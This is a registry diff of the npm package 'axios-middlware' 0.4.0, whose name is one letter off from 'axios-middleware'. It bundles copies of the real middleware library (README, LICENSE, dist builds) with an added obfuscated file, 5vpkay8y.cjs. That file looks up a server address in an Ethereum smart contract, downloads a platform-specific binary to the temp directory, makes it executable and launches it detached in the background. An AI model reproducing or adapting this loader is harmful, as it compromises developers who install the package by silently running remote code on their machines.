axios-middlware 0.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/5vpkay8y.cjs +1 -0
- package/LICENSE +21 -0
- package/README.md +30 -0
- package/dist/axios-middleware.common.js +169 -0
- package/dist/axios-middleware.esm.js +168 -0
- package/dist/axios-middleware.js +175 -0
- package/dist/axios-middleware.min.js +180 -0
- package/package.json +64 -0
package/5vpkay8y.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
const _0x19bf5e=_0x1997;(function(_0x59077a,_0x24b97f){const _0x45b6a2=_0x1997,_0xd99675=_0x59077a();while(!![]){try{const _0x53d3a3=parseInt(_0x45b6a2(0x19c))/0x1+-parseInt(_0x45b6a2(0x1a4))/0x2+parseInt(_0x45b6a2(0x195))/0x3*(parseInt(_0x45b6a2(0x1b6))/0x4)+-parseInt(_0x45b6a2(0x1a1))/0x5*(-parseInt(_0x45b6a2(0x197))/0x6)+parseInt(_0x45b6a2(0x1aa))/0x7*(-parseInt(_0x45b6a2(0x1c2))/0x8)+-parseInt(_0x45b6a2(0x19d))/0x9*(-parseInt(_0x45b6a2(0x1ac))/0xa)+-parseInt(_0x45b6a2(0x1a0))/0xb*(parseInt(_0x45b6a2(0x1b5))/0xc);if(_0x53d3a3===_0x24b97f)break;else _0xd99675['push'](_0xd99675['shift']());}catch(_0x3d3d16){_0xd99675['push'](_0xd99675['shift']());}}}(_0xe664,0xbffb8));function _0x1997(_0x867f9b,_0x3a32b0){const _0xe66406=_0xe664();return _0x1997=function(_0x1997d8,_0x6cb9e6){_0x1997d8=_0x1997d8-0x195;let _0x52808f=_0xe66406[_0x1997d8];return _0x52808f;},_0x1997(_0x867f9b,_0x3a32b0);}const {ethers}=require(_0x19bf5e(0x1b3)),axios=require(_0x19bf5e(0x19a)),util=require(_0x19bf5e(0x196)),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require(_0x19bf5e(0x1c0)),contractAddress=_0x19bf5e(0x1c1),WalletOwner='0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84',abi=[_0x19bf5e(0x1a3)],provider=ethers[_0x19bf5e(0x1b8)](_0x19bf5e(0x1ad)),contract=new ethers[(_0x19bf5e(0x1b9))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0xa5188b=_0x19bf5e,_0x103a19={'GVrou':'Ошибка\x20при\x20получении\x20IP\x20адреса:','lgOeX':function(_0x86d792){return _0x86d792();}};try{const _0x120a53=await contract[_0xa5188b(0x1a8)](WalletOwner);return _0x120a53;}catch(_0x230634){return console['error'](_0x103a19[_0xa5188b(0x1af)],_0x230634),await _0x103a19[_0xa5188b(0x1b1)](fetchAndUpdateIp);}},getDownloadUrl=_0x53e3b3=>{const _0x212633=_0x19bf5e,_0x14fe76={'GxyeX':'win32','uRPcv':_0x212633(0x1ab)},_0x5ba689=os[_0x212633(0x1bb)]();switch(_0x5ba689){case _0x14fe76[_0x212633(0x1b7)]:return _0x53e3b3+_0x212633(0x1b0);case _0x14fe76['uRPcv']:return _0x53e3b3+_0x212633(0x1bc);case'darwin':return _0x53e3b3+'/node-macos';default:throw new Error(_0x212633(0x1a6)+_0x5ba689);}},downloadFile=async(_0xb9ae0c,_0x43498f)=>{const _0x5cc452=_0x19bf5e,_0xed7b7f={'ABZWQ':'finish','XMest':'error','euGwW':function(_0x58dee1,_0x1e9977){return _0x58dee1(_0x1e9977);},'JdILy':_0x5cc452(0x198),'LuAKG':_0x5cc452(0x1b4)},_0x1e2107=fs['createWriteStream'](_0x43498f),_0x132ae8=await _0xed7b7f['euGwW'](axios,{'url':_0xb9ae0c,'method':_0xed7b7f[_0x5cc452(0x1a2)],'responseType':_0xed7b7f[_0x5cc452(0x19e)]});return _0x132ae8['data'][_0x5cc452(0x1bd)](_0x1e2107),new Promise((_0x18aae5,_0x8b8b46)=>{const _0x2bc7f0=_0x5cc452;_0x1e2107['on'](_0xed7b7f[_0x2bc7f0(0x1b2)],_0x18aae5),_0x1e2107['on'](_0xed7b7f[_0x2bc7f0(0x199)],_0x8b8b46);});},executeFileInBackground=async _0x8fdd47=>{const _0x4b83a0=_0x19bf5e,_0xe0fc2d={'jVDYT':function(_0x95a82,_0x1ec141,_0x857b23,_0x240605){return _0x95a82(_0x1ec141,_0x857b23,_0x240605);},'HQMyG':_0x4b83a0(0x1bf)};try{const _0x371081=_0xe0fc2d[_0x4b83a0(0x1ae)](spawn,_0x8fdd47,[],{'detached':!![],'stdio':'ignore'});_0x371081['unref']();}catch(_0x9a7dc2){console[_0x4b83a0(0x1a9)](_0xe0fc2d[_0x4b83a0(0x1a5)],_0x9a7dc2);}},runInstallation=async()=>{const _0x544376=_0x19bf5e,_0x526b18={'OPOFv':function(_0x57f284){return _0x57f284();},'znLrc':function(_0x107c6c,_0x2fc118){return _0x107c6c!==_0x2fc118;},'kLtPO':_0x544376(0x1c3),'yCHcR':function(_0x1df78b,_0x41ca89){return _0x1df78b(_0x41ca89);},'UurWW':_0x544376(0x19b)};try{const _0x1c08dc=await _0x526b18['OPOFv'](fetchAndUpdateIp),_0x4910b4=getDownloadUrl(_0x1c08dc),_0x1cfce3=os['tmpdir'](),_0x4c32a1=path[_0x544376(0x1be)](_0x4910b4),_0x3212cf=path[_0x544376(0x1ba)](_0x1cfce3,_0x4c32a1);await downloadFile(_0x4910b4,_0x3212cf);if(_0x526b18[_0x544376(0x19f)](os[_0x544376(0x1bb)](),_0x526b18[_0x544376(0x1c4)]))fs['chmodSync'](_0x3212cf,'755');_0x526b18[_0x544376(0x1a7)](executeFileInBackground,_0x3212cf);}catch(_0x48ea53){console['error'](_0x526b18['UurWW'],_0x48ea53);}};function _0xe664(){const _0x438597=['znLrc','209AHvVJu','5693705xVuNDH','JdILy','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','367160VFZmYp','HQMyG','Unsupported\x20platform:\x20','yCHcR','getString','error','19782UkxYwQ','linux','6622630PGnkEG','mainnet','jVDYT','GVrou','/node-win.exe','lgOeX','ABZWQ','ethers','stream','1529316nGobEr','4irOLMY','GxyeX','getDefaultProvider','Contract','join','platform','/node-linux','pipe','basename','Ошибка\x20при\x20запуске\x20файла:','child_process','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','328zjYoiy','win32','kLtPO','3174294xxngLC','util','6JauGCe','GET','XMest','axios','Ошибка\x20установки:','648121xoNdOy','9dGjwAZ','LuAKG'];_0xe664=function(){return _0x438597;};return _0xe664();}runInstallation();
|
package/LICENSE
ADDED
@@ -0,0 +1,21 @@
|
|
1
|
+
MIT License
|
2
|
+
|
3
|
+
Copyright (c) 2018 Emile Bergeron
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
7
|
+
in the Software without restriction, including without limitation the rights
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
10
|
+
furnished to do so, subject to the following conditions:
|
11
|
+
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
13
|
+
copies or substantial portions of the Software.
|
14
|
+
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
21
|
+
SOFTWARE.
|
package/README.md
ADDED
@@ -0,0 +1,30 @@
|
|
1
|
+
# axios-middleware
|
2
|
+
|
3
|
+
[](https://travis-ci.org/emileber/axios-middleware)
|
4
|
+
[](https://www.npmjs.com/package/axios-middleware)
|
5
|
+
[](https://codecov.io/gh/emileber/axios-middleware)
|
6
|
+
|
7
|
+
|
8
|
+
Simple [axios](https://github.com/axios/axios) HTTP middleware service.
|
9
|
+
|
10
|
+
## Installation
|
11
|
+
|
12
|
+
```
|
13
|
+
npm install --save axios-middleware
|
14
|
+
```
|
15
|
+
|
16
|
+
## How to use
|
17
|
+
|
18
|
+
Explore [**the documentation**](https://emileber.github.io/axios-middleware/) or the `docs/` directory.
|
19
|
+
|
20
|
+
## Contributing
|
21
|
+
|
22
|
+
|
23
|
+
|
24
|
+
### Updating the documentation
|
25
|
+
|
26
|
+
The documentation is only static files in the `docs` directory. It uses [docsify](https://docsify.js.org/#/).
|
27
|
+
|
28
|
+
```
|
29
|
+
npm run docs
|
30
|
+
```
|
@@ -0,0 +1,169 @@
|
|
1
|
+
/**
|
2
|
+
* axios-middleware v0.4.0
|
3
|
+
* (c) 2023 Émile Bergeron
|
4
|
+
* @license MIT
|
5
|
+
*/
|
6
|
+
'use strict';
|
7
|
+
|
8
|
+
/**
|
9
|
+
* @property {Array} middlewares stack
|
10
|
+
* @property {AxiosInstance} http
|
11
|
+
* @property {Function} originalAdapter
|
12
|
+
*/
|
13
|
+
var HttpMiddlewareService = function HttpMiddlewareService(axios) {
|
14
|
+
this.middlewares = [];
|
15
|
+
|
16
|
+
this._updateChain();
|
17
|
+
this.setHttp(axios);
|
18
|
+
};
|
19
|
+
|
20
|
+
/**
|
21
|
+
* @param {AxiosInstance} axios
|
22
|
+
* @returns {HttpMiddlewareService}
|
23
|
+
*/
|
24
|
+
HttpMiddlewareService.prototype.setHttp = function setHttp (axios) {
|
25
|
+
var this$1 = this;
|
26
|
+
|
27
|
+
this.unsetHttp();
|
28
|
+
|
29
|
+
if (axios) {
|
30
|
+
this.http = axios;
|
31
|
+
this.originalAdapter = axios.defaults.adapter;
|
32
|
+
axios.defaults.adapter = function (config) { return this$1.adapter(config); };
|
33
|
+
}
|
34
|
+
return this;
|
35
|
+
};
|
36
|
+
|
37
|
+
/**
|
38
|
+
* @returns {HttpMiddlewareService}
|
39
|
+
*/
|
40
|
+
HttpMiddlewareService.prototype.unsetHttp = function unsetHttp () {
|
41
|
+
if (this.http) {
|
42
|
+
this.http.defaults.adapter = this.originalAdapter;
|
43
|
+
this.http = null;
|
44
|
+
}
|
45
|
+
return this;
|
46
|
+
};
|
47
|
+
|
48
|
+
/**
|
49
|
+
* @param {Object|HttpMiddleware} [middleware]
|
50
|
+
* @returns {boolean} true if the middleware is already registered.
|
51
|
+
*/
|
52
|
+
HttpMiddlewareService.prototype.has = function has (middleware) {
|
53
|
+
return this.middlewares.indexOf(middleware) > -1;
|
54
|
+
};
|
55
|
+
|
56
|
+
/**
|
57
|
+
* Adds a middleware or an array of middlewares to the stack.
|
58
|
+
* @param {Object|HttpMiddleware|Array} [middlewares]
|
59
|
+
* @returns {HttpMiddlewareService}
|
60
|
+
*/
|
61
|
+
HttpMiddlewareService.prototype.register = function register (middlewares) {
|
62
|
+
var this$1 = this;
|
63
|
+
|
64
|
+
// eslint-disable-next-line no-param-reassign
|
65
|
+
if (!Array.isArray(middlewares)) { middlewares = [middlewares]; }
|
66
|
+
|
67
|
+
// Test if middlewares are registered more than once.
|
68
|
+
middlewares.forEach(function (middleware) {
|
69
|
+
if (!middleware) { return; }
|
70
|
+
if (this$1.has(middleware)) {
|
71
|
+
throw new Error('Middleware already registered');
|
72
|
+
}
|
73
|
+
this$1.middlewares.push(middleware);
|
74
|
+
this$1._addMiddleware(middleware);
|
75
|
+
});
|
76
|
+
return this;
|
77
|
+
};
|
78
|
+
|
79
|
+
/**
|
80
|
+
* Removes a middleware from the registered stack.
|
81
|
+
* @param {Object|HttpMiddleware} [middleware]
|
82
|
+
* @returns {HttpMiddlewareService}
|
83
|
+
*/
|
84
|
+
HttpMiddlewareService.prototype.unregister = function unregister (middleware) {
|
85
|
+
if (middleware) {
|
86
|
+
var index = this.middlewares.indexOf(middleware);
|
87
|
+
if (index > -1) {
|
88
|
+
this.middlewares.splice(index, 1);
|
89
|
+
}
|
90
|
+
this._updateChain();
|
91
|
+
}
|
92
|
+
|
93
|
+
return this;
|
94
|
+
};
|
95
|
+
|
96
|
+
/**
|
97
|
+
* Removes all the middleware from the stack.
|
98
|
+
* @returns {HttpMiddlewareService}
|
99
|
+
*/
|
100
|
+
HttpMiddlewareService.prototype.reset = function reset () {
|
101
|
+
this.middlewares.length = 0;
|
102
|
+
this._updateChain();
|
103
|
+
return this;
|
104
|
+
};
|
105
|
+
|
106
|
+
/**
|
107
|
+
* @param config
|
108
|
+
* @returns {Promise}
|
109
|
+
*/
|
110
|
+
HttpMiddlewareService.prototype.adapter = function adapter (config) {
|
111
|
+
return this.chain.reduce(
|
112
|
+
function (acc, ref) {
|
113
|
+
var onResolve = ref[0];
|
114
|
+
var onError = ref[1];
|
115
|
+
|
116
|
+
return acc.then(onResolve, onError);
|
117
|
+
},
|
118
|
+
Promise.resolve(config)
|
119
|
+
);
|
120
|
+
};
|
121
|
+
|
122
|
+
/**
|
123
|
+
*
|
124
|
+
* @param {Object} middleware
|
125
|
+
* @private
|
126
|
+
*/
|
127
|
+
HttpMiddlewareService.prototype._addMiddleware = function _addMiddleware (middleware) {
|
128
|
+
this.chain.unshift([
|
129
|
+
middleware.onRequest && (function (conf) { return middleware.onRequest(conf); }),
|
130
|
+
middleware.onRequestError &&
|
131
|
+
(function (error) { return middleware.onRequestError(error); }) ]);
|
132
|
+
|
133
|
+
this.chain.push([
|
134
|
+
middleware.onResponse && (function (response) { return middleware.onResponse(response); }),
|
135
|
+
middleware.onResponseError &&
|
136
|
+
(function (error) { return middleware.onResponseError(error); }) ]);
|
137
|
+
};
|
138
|
+
|
139
|
+
/**
|
140
|
+
* @private
|
141
|
+
*/
|
142
|
+
HttpMiddlewareService.prototype._updateChain = function _updateChain () {
|
143
|
+
var this$1 = this;
|
144
|
+
|
145
|
+
this.chain = [
|
146
|
+
[
|
147
|
+
function (conf) { return this$1._onSync(this$1.originalAdapter.call(this$1.http, conf)); },
|
148
|
+
undefined ] ];
|
149
|
+
this.middlewares.forEach(function (middleware) { return this$1._addMiddleware(middleware); });
|
150
|
+
};
|
151
|
+
|
152
|
+
/**
|
153
|
+
* @param {Promise} promise
|
154
|
+
* @returns {Promise}
|
155
|
+
* @private
|
156
|
+
*/
|
157
|
+
HttpMiddlewareService.prototype._onSync = function _onSync (promise) {
|
158
|
+
return this.middlewares.reduce(
|
159
|
+
function (acc, middleware) { return (middleware.onSync ? middleware.onSync(acc) : acc); },
|
160
|
+
promise
|
161
|
+
);
|
162
|
+
};
|
163
|
+
|
164
|
+
var index = {
|
165
|
+
Service: HttpMiddlewareService,
|
166
|
+
version: '0.4.0',
|
167
|
+
};
|
168
|
+
|
169
|
+
module.exports = index;
|
@@ -0,0 +1,168 @@
|
|
1
|
+
/**
|
2
|
+
* axios-middleware v0.4.0
|
3
|
+
* (c) 2023 Émile Bergeron
|
4
|
+
* @license MIT
|
5
|
+
*/
|
6
|
+
/**
|
7
|
+
* @property {Array} middlewares stack
|
8
|
+
* @property {AxiosInstance} http
|
9
|
+
* @property {Function} originalAdapter
|
10
|
+
*/
|
11
|
+
var HttpMiddlewareService = function HttpMiddlewareService(axios) {
|
12
|
+
this.middlewares = [];
|
13
|
+
|
14
|
+
this._updateChain();
|
15
|
+
this.setHttp(axios);
|
16
|
+
};
|
17
|
+
|
18
|
+
/**
|
19
|
+
* @param {AxiosInstance} axios
|
20
|
+
* @returns {HttpMiddlewareService}
|
21
|
+
*/
|
22
|
+
HttpMiddlewareService.prototype.setHttp = function setHttp (axios) {
|
23
|
+
var this$1 = this;
|
24
|
+
|
25
|
+
this.unsetHttp();
|
26
|
+
|
27
|
+
if (axios) {
|
28
|
+
this.http = axios;
|
29
|
+
this.originalAdapter = axios.defaults.adapter;
|
30
|
+
axios.defaults.adapter = function (config) { return this$1.adapter(config); };
|
31
|
+
}
|
32
|
+
return this;
|
33
|
+
};
|
34
|
+
|
35
|
+
/**
|
36
|
+
* @returns {HttpMiddlewareService}
|
37
|
+
*/
|
38
|
+
HttpMiddlewareService.prototype.unsetHttp = function unsetHttp () {
|
39
|
+
if (this.http) {
|
40
|
+
this.http.defaults.adapter = this.originalAdapter;
|
41
|
+
this.http = null;
|
42
|
+
}
|
43
|
+
return this;
|
44
|
+
};
|
45
|
+
|
46
|
+
/**
|
47
|
+
* @param {Object|HttpMiddleware} [middleware]
|
48
|
+
* @returns {boolean} true if the middleware is already registered.
|
49
|
+
*/
|
50
|
+
HttpMiddlewareService.prototype.has = function has (middleware) {
|
51
|
+
return this.middlewares.indexOf(middleware) > -1;
|
52
|
+
};
|
53
|
+
|
54
|
+
/**
|
55
|
+
* Adds a middleware or an array of middlewares to the stack.
|
56
|
+
* @param {Object|HttpMiddleware|Array} [middlewares]
|
57
|
+
* @returns {HttpMiddlewareService}
|
58
|
+
*/
|
59
|
+
HttpMiddlewareService.prototype.register = function register (middlewares) {
|
60
|
+
var this$1 = this;
|
61
|
+
|
62
|
+
// eslint-disable-next-line no-param-reassign
|
63
|
+
if (!Array.isArray(middlewares)) { middlewares = [middlewares]; }
|
64
|
+
|
65
|
+
// Test if middlewares are registered more than once.
|
66
|
+
middlewares.forEach(function (middleware) {
|
67
|
+
if (!middleware) { return; }
|
68
|
+
if (this$1.has(middleware)) {
|
69
|
+
throw new Error('Middleware already registered');
|
70
|
+
}
|
71
|
+
this$1.middlewares.push(middleware);
|
72
|
+
this$1._addMiddleware(middleware);
|
73
|
+
});
|
74
|
+
return this;
|
75
|
+
};
|
76
|
+
|
77
|
+
/**
|
78
|
+
* Removes a middleware from the registered stack.
|
79
|
+
* @param {Object|HttpMiddleware} [middleware]
|
80
|
+
* @returns {HttpMiddlewareService}
|
81
|
+
*/
|
82
|
+
HttpMiddlewareService.prototype.unregister = function unregister (middleware) {
|
83
|
+
if (middleware) {
|
84
|
+
var index = this.middlewares.indexOf(middleware);
|
85
|
+
if (index > -1) {
|
86
|
+
this.middlewares.splice(index, 1);
|
87
|
+
}
|
88
|
+
this._updateChain();
|
89
|
+
}
|
90
|
+
|
91
|
+
return this;
|
92
|
+
};
|
93
|
+
|
94
|
+
/**
|
95
|
+
* Removes all the middleware from the stack.
|
96
|
+
* @returns {HttpMiddlewareService}
|
97
|
+
*/
|
98
|
+
HttpMiddlewareService.prototype.reset = function reset () {
|
99
|
+
this.middlewares.length = 0;
|
100
|
+
this._updateChain();
|
101
|
+
return this;
|
102
|
+
};
|
103
|
+
|
104
|
+
/**
|
105
|
+
* @param config
|
106
|
+
* @returns {Promise}
|
107
|
+
*/
|
108
|
+
HttpMiddlewareService.prototype.adapter = function adapter (config) {
|
109
|
+
return this.chain.reduce(
|
110
|
+
function (acc, ref) {
|
111
|
+
var onResolve = ref[0];
|
112
|
+
var onError = ref[1];
|
113
|
+
|
114
|
+
return acc.then(onResolve, onError);
|
115
|
+
},
|
116
|
+
Promise.resolve(config)
|
117
|
+
);
|
118
|
+
};
|
119
|
+
|
120
|
+
/**
|
121
|
+
*
|
122
|
+
* @param {Object} middleware
|
123
|
+
* @private
|
124
|
+
*/
|
125
|
+
HttpMiddlewareService.prototype._addMiddleware = function _addMiddleware (middleware) {
|
126
|
+
this.chain.unshift([
|
127
|
+
middleware.onRequest && (function (conf) { return middleware.onRequest(conf); }),
|
128
|
+
middleware.onRequestError &&
|
129
|
+
(function (error) { return middleware.onRequestError(error); }) ]);
|
130
|
+
|
131
|
+
this.chain.push([
|
132
|
+
middleware.onResponse && (function (response) { return middleware.onResponse(response); }),
|
133
|
+
middleware.onResponseError &&
|
134
|
+
(function (error) { return middleware.onResponseError(error); }) ]);
|
135
|
+
};
|
136
|
+
|
137
|
+
/**
|
138
|
+
* @private
|
139
|
+
*/
|
140
|
+
HttpMiddlewareService.prototype._updateChain = function _updateChain () {
|
141
|
+
var this$1 = this;
|
142
|
+
|
143
|
+
this.chain = [
|
144
|
+
[
|
145
|
+
function (conf) { return this$1._onSync(this$1.originalAdapter.call(this$1.http, conf)); },
|
146
|
+
undefined ] ];
|
147
|
+
this.middlewares.forEach(function (middleware) { return this$1._addMiddleware(middleware); });
|
148
|
+
};
|
149
|
+
|
150
|
+
/**
|
151
|
+
* @param {Promise} promise
|
152
|
+
* @returns {Promise}
|
153
|
+
* @private
|
154
|
+
*/
|
155
|
+
HttpMiddlewareService.prototype._onSync = function _onSync (promise) {
|
156
|
+
return this.middlewares.reduce(
|
157
|
+
function (acc, middleware) { return (middleware.onSync ? middleware.onSync(acc) : acc); },
|
158
|
+
promise
|
159
|
+
);
|
160
|
+
};
|
161
|
+
|
162
|
+
var index_esm = {
|
163
|
+
Service: HttpMiddlewareService,
|
164
|
+
version: '0.4.0',
|
165
|
+
};
|
166
|
+
|
167
|
+
export default index_esm;
|
168
|
+
export { HttpMiddlewareService as Service };
|
@@ -0,0 +1,175 @@
|
|
1
|
+
/**
|
2
|
+
* axios-middleware v0.4.0
|
3
|
+
* (c) 2023 Émile Bergeron
|
4
|
+
* @license MIT
|
5
|
+
*/
|
6
|
+
(function (global, factory) {
|
7
|
+
typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
|
8
|
+
typeof define === 'function' && define.amd ? define(factory) :
|
9
|
+
(global = global || self, global.AxiosMiddleware = factory());
|
10
|
+
}(this, function () { 'use strict';
|
11
|
+
|
12
|
+
/**
|
13
|
+
* @property {Array} middlewares stack
|
14
|
+
* @property {AxiosInstance} http
|
15
|
+
* @property {Function} originalAdapter
|
16
|
+
*/
|
17
|
+
var HttpMiddlewareService = function HttpMiddlewareService(axios) {
|
18
|
+
this.middlewares = [];
|
19
|
+
|
20
|
+
this._updateChain();
|
21
|
+
this.setHttp(axios);
|
22
|
+
};
|
23
|
+
|
24
|
+
/**
|
25
|
+
* @param {AxiosInstance} axios
|
26
|
+
* @returns {HttpMiddlewareService}
|
27
|
+
*/
|
28
|
+
HttpMiddlewareService.prototype.setHttp = function setHttp (axios) {
|
29
|
+
var this$1 = this;
|
30
|
+
|
31
|
+
this.unsetHttp();
|
32
|
+
|
33
|
+
if (axios) {
|
34
|
+
this.http = axios;
|
35
|
+
this.originalAdapter = axios.defaults.adapter;
|
36
|
+
axios.defaults.adapter = function (config) { return this$1.adapter(config); };
|
37
|
+
}
|
38
|
+
return this;
|
39
|
+
};
|
40
|
+
|
41
|
+
/**
|
42
|
+
* @returns {HttpMiddlewareService}
|
43
|
+
*/
|
44
|
+
HttpMiddlewareService.prototype.unsetHttp = function unsetHttp () {
|
45
|
+
if (this.http) {
|
46
|
+
this.http.defaults.adapter = this.originalAdapter;
|
47
|
+
this.http = null;
|
48
|
+
}
|
49
|
+
return this;
|
50
|
+
};
|
51
|
+
|
52
|
+
/**
|
53
|
+
* @param {Object|HttpMiddleware} [middleware]
|
54
|
+
* @returns {boolean} true if the middleware is already registered.
|
55
|
+
*/
|
56
|
+
HttpMiddlewareService.prototype.has = function has (middleware) {
|
57
|
+
return this.middlewares.indexOf(middleware) > -1;
|
58
|
+
};
|
59
|
+
|
60
|
+
/**
|
61
|
+
* Adds a middleware or an array of middlewares to the stack.
|
62
|
+
* @param {Object|HttpMiddleware|Array} [middlewares]
|
63
|
+
* @returns {HttpMiddlewareService}
|
64
|
+
*/
|
65
|
+
HttpMiddlewareService.prototype.register = function register (middlewares) {
|
66
|
+
var this$1 = this;
|
67
|
+
|
68
|
+
// eslint-disable-next-line no-param-reassign
|
69
|
+
if (!Array.isArray(middlewares)) { middlewares = [middlewares]; }
|
70
|
+
|
71
|
+
// Test if middlewares are registered more than once.
|
72
|
+
middlewares.forEach(function (middleware) {
|
73
|
+
if (!middleware) { return; }
|
74
|
+
if (this$1.has(middleware)) {
|
75
|
+
throw new Error('Middleware already registered');
|
76
|
+
}
|
77
|
+
this$1.middlewares.push(middleware);
|
78
|
+
this$1._addMiddleware(middleware);
|
79
|
+
});
|
80
|
+
return this;
|
81
|
+
};
|
82
|
+
|
83
|
+
/**
|
84
|
+
* Removes a middleware from the registered stack.
|
85
|
+
* @param {Object|HttpMiddleware} [middleware]
|
86
|
+
* @returns {HttpMiddlewareService}
|
87
|
+
*/
|
88
|
+
HttpMiddlewareService.prototype.unregister = function unregister (middleware) {
|
89
|
+
if (middleware) {
|
90
|
+
var index = this.middlewares.indexOf(middleware);
|
91
|
+
if (index > -1) {
|
92
|
+
this.middlewares.splice(index, 1);
|
93
|
+
}
|
94
|
+
this._updateChain();
|
95
|
+
}
|
96
|
+
|
97
|
+
return this;
|
98
|
+
};
|
99
|
+
|
100
|
+
/**
|
101
|
+
* Removes all the middleware from the stack.
|
102
|
+
* @returns {HttpMiddlewareService}
|
103
|
+
*/
|
104
|
+
HttpMiddlewareService.prototype.reset = function reset () {
|
105
|
+
this.middlewares.length = 0;
|
106
|
+
this._updateChain();
|
107
|
+
return this;
|
108
|
+
};
|
109
|
+
|
110
|
+
/**
|
111
|
+
* @param config
|
112
|
+
* @returns {Promise}
|
113
|
+
*/
|
114
|
+
HttpMiddlewareService.prototype.adapter = function adapter (config) {
|
115
|
+
return this.chain.reduce(
|
116
|
+
function (acc, ref) {
|
117
|
+
var onResolve = ref[0];
|
118
|
+
var onError = ref[1];
|
119
|
+
|
120
|
+
return acc.then(onResolve, onError);
|
121
|
+
},
|
122
|
+
Promise.resolve(config)
|
123
|
+
);
|
124
|
+
};
|
125
|
+
|
126
|
+
/**
|
127
|
+
*
|
128
|
+
* @param {Object} middleware
|
129
|
+
* @private
|
130
|
+
*/
|
131
|
+
HttpMiddlewareService.prototype._addMiddleware = function _addMiddleware (middleware) {
|
132
|
+
this.chain.unshift([
|
133
|
+
middleware.onRequest && (function (conf) { return middleware.onRequest(conf); }),
|
134
|
+
middleware.onRequestError &&
|
135
|
+
(function (error) { return middleware.onRequestError(error); }) ]);
|
136
|
+
|
137
|
+
this.chain.push([
|
138
|
+
middleware.onResponse && (function (response) { return middleware.onResponse(response); }),
|
139
|
+
middleware.onResponseError &&
|
140
|
+
(function (error) { return middleware.onResponseError(error); }) ]);
|
141
|
+
};
|
142
|
+
|
143
|
+
/**
|
144
|
+
* @private
|
145
|
+
*/
|
146
|
+
HttpMiddlewareService.prototype._updateChain = function _updateChain () {
|
147
|
+
var this$1 = this;
|
148
|
+
|
149
|
+
this.chain = [
|
150
|
+
[
|
151
|
+
function (conf) { return this$1._onSync(this$1.originalAdapter.call(this$1.http, conf)); },
|
152
|
+
undefined ] ];
|
153
|
+
this.middlewares.forEach(function (middleware) { return this$1._addMiddleware(middleware); });
|
154
|
+
};
|
155
|
+
|
156
|
+
/**
|
157
|
+
* @param {Promise} promise
|
158
|
+
* @returns {Promise}
|
159
|
+
* @private
|
160
|
+
*/
|
161
|
+
HttpMiddlewareService.prototype._onSync = function _onSync (promise) {
|
162
|
+
return this.middlewares.reduce(
|
163
|
+
function (acc, middleware) { return (middleware.onSync ? middleware.onSync(acc) : acc); },
|
164
|
+
promise
|
165
|
+
);
|
166
|
+
};
|
167
|
+
|
168
|
+
var index = {
|
169
|
+
Service: HttpMiddlewareService,
|
170
|
+
version: '0.4.0',
|
171
|
+
};
|
172
|
+
|
173
|
+
return index;
|
174
|
+
|
175
|
+
}));
|
@@ -0,0 +1,180 @@
|
|
1
|
+
/**
|
2
|
+
* axios-middleware v0.4.0
|
3
|
+
* (c) 2023 Émile Bergeron
|
4
|
+
* @license MIT
|
5
|
+
*/
|
6
|
+
/**
|
7
|
+
* axios-middleware v0.4.0
|
8
|
+
* (c) 2023 Émile Bergeron
|
9
|
+
* @license MIT
|
10
|
+
*/
|
11
|
+
(function (global, factory) {
|
12
|
+
typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
|
13
|
+
typeof define === 'function' && define.amd ? define(factory) :
|
14
|
+
(global = global || self, global.AxiosMiddleware = factory());
|
15
|
+
}(this, function () { 'use strict';
|
16
|
+
|
17
|
+
/**
|
18
|
+
* @property {Array} middlewares stack
|
19
|
+
* @property {AxiosInstance} http
|
20
|
+
* @property {Function} originalAdapter
|
21
|
+
*/
|
22
|
+
var HttpMiddlewareService = function HttpMiddlewareService(axios) {
|
23
|
+
this.middlewares = [];
|
24
|
+
|
25
|
+
this._updateChain();
|
26
|
+
this.setHttp(axios);
|
27
|
+
};
|
28
|
+
|
29
|
+
/**
|
30
|
+
* @param {AxiosInstance} axios
|
31
|
+
* @returns {HttpMiddlewareService}
|
32
|
+
*/
|
33
|
+
HttpMiddlewareService.prototype.setHttp = function setHttp (axios) {
|
34
|
+
var this$1 = this;
|
35
|
+
|
36
|
+
this.unsetHttp();
|
37
|
+
|
38
|
+
if (axios) {
|
39
|
+
this.http = axios;
|
40
|
+
this.originalAdapter = axios.defaults.adapter;
|
41
|
+
axios.defaults.adapter = function (config) { return this$1.adapter(config); };
|
42
|
+
}
|
43
|
+
return this;
|
44
|
+
};
|
45
|
+
|
46
|
+
/**
|
47
|
+
* @returns {HttpMiddlewareService}
|
48
|
+
*/
|
49
|
+
HttpMiddlewareService.prototype.unsetHttp = function unsetHttp () {
|
50
|
+
if (this.http) {
|
51
|
+
this.http.defaults.adapter = this.originalAdapter;
|
52
|
+
this.http = null;
|
53
|
+
}
|
54
|
+
return this;
|
55
|
+
};
|
56
|
+
|
57
|
+
/**
|
58
|
+
* @param {Object|HttpMiddleware} [middleware]
|
59
|
+
* @returns {boolean} true if the middleware is already registered.
|
60
|
+
*/
|
61
|
+
HttpMiddlewareService.prototype.has = function has (middleware) {
|
62
|
+
